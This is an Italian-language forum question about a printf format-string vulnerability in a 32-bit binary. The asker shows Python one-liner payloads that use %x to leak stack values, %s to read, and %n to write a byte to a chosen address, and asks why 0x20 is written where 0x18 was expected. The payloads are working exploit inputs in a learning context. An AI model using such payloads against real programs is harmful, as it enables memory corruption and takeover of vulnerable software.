Sto lavorando su un binario a 32 bit che legge un input dall'utente e usa quell'input come stringa di formato per printf.
Devo sovrascrivere un indirizzo specifico con un singolo byte.
Il problema è che non sono in grado di sovrascrivere l'indirizzo con il valore previsto.
Uso il seguente approccio e ho bisogno di aiuto per capire perché il valore errato viene scritto all'indirizzo di memoria scelto.
Esempio:
Indirizzo di memoria da sovrascrivere: 0xaabbccdd
$ echo -n $(python -c 'print "\xdd\xcc\xbb\xaa" + "%x" * 6') | ./bin
�̻�ffffd0a81814ffffd34556557000aabbccdd
Quindi, so che quando inserisco% x, 6 volte, l'indirizzo che voglio sovrascrivere verrà estratto dallo stack. Quindi, usando il 6% x, posso interagire con questo indirizzo di memoria.
Per leggere il contenuto di 0xaabbccdd, farei:
$ echo -n $(python -c 'print "\xdd\xcc\xbb\xaa" + "%x" * 5 + "%s"') | ./bin
�̻�ffffd0a81814ffffd34556557000aabbccdd
Ora, voglio scrivere 0x18 all'indirizzo: 0xaabbccdd.
0x18 = 24 (in decimale).
Se utilizzo% x 5 volte, il numero di byte scritti da printf è:
4 byte - > corrispondente all'indirizzo: 0xaabbccdd 5 DWORD dallo stack = 5 * 4 = 20 byte
quindi,% n dovrebbe scrivere (20 + 4) = 24 byte all'indirizzo di memoria 0xaabbccdd con la seguente stringa di formato:
echo -n $(python -c 'print "\xdd\xcc\xbb\xaa" + "%x" * 5 + "%n') | ./bin
Invece, sovrascrive l'indirizzo con il valore, 0x20.
Non riesco a capire, perché quei 2 byte in più?
% n dovrebbe scrivere il numero di byte stampati da printf finora.